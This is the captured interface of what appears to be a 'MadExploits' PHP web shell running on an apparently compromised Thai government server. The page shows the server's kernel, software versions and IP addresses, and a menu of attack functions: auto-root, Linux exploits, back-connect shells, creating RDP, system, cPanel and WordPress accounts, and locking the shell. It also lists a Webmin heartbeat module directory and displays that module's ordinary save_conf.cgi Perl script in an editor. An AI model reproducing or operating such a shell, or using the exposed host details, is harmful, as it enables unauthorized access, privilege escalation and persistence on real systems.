Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
heartbeat /
[ HOME SHELL ]
Name
Size
Permission
Action
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
apply.cgi
219
B
-rwxr-xr-x
backup_config.pl
630
B
-rwxr-xr-x
config
479
B
-rw-r--r--
config-freebsd
415
B
-rw-r--r--
config-generic-linux
322
B
-rw-r--r--
config-slackware-linux
322
B
-rw-r--r--
config-solaris
235
B
-rw-r--r--
config-syno-linux
219
B
-rw-r--r--
config.info
726
B
-rw-r--r--
config.info.bg
834
B
-rw-r--r--
config.info.bg.UTF-8
1.28
KB
-rw-r--r--
config.info.ca
825
B
-rw-r--r--
config.info.ca.UTF-8
846
B
-rw-r--r--
config.info.cz
643
B
-rw-r--r--
config.info.cz.UTF-8
676
B
-rw-r--r--
config.info.de
878
B
-rw-r--r--
config.info.de.UTF-8
878
B
-rw-r--r--
config.info.es
516
B
-rw-r--r--
config.info.es.UTF-8
524
B
-rw-r--r--
config.info.hu
443
B
-rw-r--r--
config.info.hu.UTF-8
483
B
-rw-r--r--
config.info.nl
806
B
-rw-r--r--
config.info.nl.UTF-8
806
B
-rw-r--r--
config.info.no
784
B
-rw-r--r--
config.info.no.UTF-8
784
B
-rw-r--r--
edit_auth.cgi
944
B
-rwxr-xr-x
edit_conf.cgi
6.68
KB
-rwxr-xr-x
edit_node.cgi
2.96
KB
-rwxr-xr-x
edit_res.cgi
2.26
KB
-rwxr-xr-x
feedback_files.pl
110
B
-rwxr-xr-x
heartbeat-lib.pl
4.78
KB
-rwxr-xr-x
index.cgi
3.3
KB
-rwxr-xr-x
install_check.pl
564
B
-rwxr-xr-x
module.info
200
B
-rw-r--r--
module.info.ca
133
B
-rw-r--r--
module.info.ca.UTF-8
147
B
-rw-r--r--
module.info.cz
26
B
-rw-r--r--
module.info.cz.UTF-8
32
B
-rw-r--r--
module.info.de
133
B
-rw-r--r--
module.info.de.UTF-8
145
B
-rw-r--r--
module.info.es
26
B
-rw-r--r--
module.info.es.UTF-8
32
B
-rw-r--r--
module.info.ms_MY
127
B
-rw-r--r--
module.info.ms_MY.UTF-8
139
B
-rw-r--r--
module.info.nl
25
B
-rw-r--r--
module.info.nl.UTF-8
31
B
-rw-r--r--
module.info.no
33
B
-rw-r--r--
module.info.no.UTF-8
39
B
-rw-r--r--
save_auth.cgi
469
B
-rwxr-xr-x
save_conf.cgi
3.56
KB
-rwxr-xr-x
save_node.cgi
1.27
KB
-rwxr-xr-x
start.cgi
246
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : save_conf.cgi
#!/usr/bin/perl # save_conf.cgi # Save configuration options require './heartbeat-lib.pl'; &ReadParse(); @conf = &get_ha_config(); &error_setup($text{'conf_err'}); # Parse and validate inputs for($i=0; defined($in{"serial_$i"}); $i++) { push(@serials, $in{"serial_$i"}) if ($in{"serial_$i"}); } &save_directive(\@conf, 'serial', \@serials ); if ($in{'baud_def'}) { &save_directive(\@conf, 'baud', [ ]); } else { $in{'baud'} =~ /^\d+$/ || &error($text{'conf_ebaud'}); &save_directive(\@conf, 'baud', [ $in{'baud'} ]); } # changed (Christof Amelunxen, 22.08.2003) # udp now bcast if ($in{'bcasts_def'}) { &save_directive(\@conf, 'bcast', [ ]); } else { @bcasts = split(/\s+/, $in{'bcasts'}); foreach $b (@bcasts) { $b =~ /^\S+\d+$/ || &error(&text('conf_ebcastif', $b)); } @bcasts || &error($text{'conf_ebcasts'}); &save_directive(\@conf, 'bcast', \@bcasts); } if ($in{'udpport_def'}) { &save_directive(\@conf, 'udpport', [ ]); } else { $in{'udpport'} =~ /^\d+$/ || &error($text{'conf_eudpport'}); &save_directive(\@conf, 'udpport', [ $in{'udpport'} ]); } if ($in{'mcast_def'}) { &save_directive(\@conf, 'mcast', [ ]); } else { $in{'mcast_dev'} =~ /^\S+\d+$/ || &error($text{'conf_emcast_dev'}); &check_ipaddress($in{'mcast_ip'}) || &error($text{'conf_emcast_ip'}); $in{'mcast_port'} =~ /^\d+$/ || &error($text{'conf_emcast_port'}); $in{'mcast_ttl'} =~ /^\d+$/ || &error($text{'conf_emcast_ttl'}); &save_directive(\@conf, 'mcast', [ join(" ", $in{'mcast_dev'}, $in{'mcast_ip'}, $in{'mcast_port'}, $in{'mcast_ttl'}, $in{'mcast_loop'}) ] ); } if ($in{'keepalive_def'}) { &save_directive(\@conf, 'keepalive', [ ]); } else { $in{'keepalive'} =~ /^\d+$/ || &error($text{'conf_ekeepalive'}); &save_directive(\@conf, 'keepalive', [ $in{'keepalive'} ]); } if ($in{'deadtime_def'}) { &save_directive(\@conf, 'deadtime', [ ]); } else { $in{'deadtime'} =~ /^\d+$/ || &error($text{'conf_edeadtime'}); &save_directive(\@conf, 'deadtime', [ $in{'deadtime'} ]); } if ($in{'watchdog_def'}) { &save_directive(\@conf, 'watchdog', [ ]); } else { -r $in{'watchdog'} || &error($text{'conf_ewatchdog'}); &save_directive(\@conf, 'watchdog', [ $in{'watchdog'} ]); } @node = split(/\s+/, $in{'node'}); @node || &error($text{'conf_enonode'}); $uname = `uname -n 2>/dev/null`; $uname =~ s/\r|\n//g; foreach $n (@node) { $found++ if ($n eq $uname); } !$uname || $found || &error(&text('conf_ethisnode', "<tt>$uname</tt>")); &save_directive(\@conf, 'node', \@node); if ($in{'logfile_def'}) { &save_directive(\@conf, 'logfile', [ ]); } else { $in{'logfile'} =~ /^\S+$/ || &error($text{'conf_elogfile'}); &save_directive(\@conf, 'logfile', [ $in{'logfile'} ]); } if ($in{'logfacility_def'}) { &save_directive(\@conf, 'logfacility', [ ]); } else { &save_directive(\@conf, 'logfacility', [ $in{'logfacility'} ]); } if ($in{'initdead_def'}) { &save_directive(\@conf, 'initdead', [ ]); } else { $in{'initdead'} =~ /^\d+$/ || &error($text{'conf_einitdead'}); $in{'deadtime_def'} || $in{'initdead'} >= $in{'deadtime'}*2 || &error($text{'conf_einitdead2'}); &save_directive(\@conf, 'initdead', [ $in{'initdead'} ]); } # save nice failback behaviour if (&version_atleast(1, 2, 0)) { # New-style option if ($in{'auto_failback'}) { &save_directive(\@conf, 'auto_failback', [ $in{'auto_failback'} ]); } else { &save_directive(\@conf, 'auto_failback', [ ]); } } else { # Old-style option if ($in{'nice_failback_def'}) { &save_directive(\@conf,'nice_failback',[ 'on' ]); } else { &save_directive(\@conf,'nice_failback', [ 'off' ]); } } &flush_file_lines(); &redirect("");
Close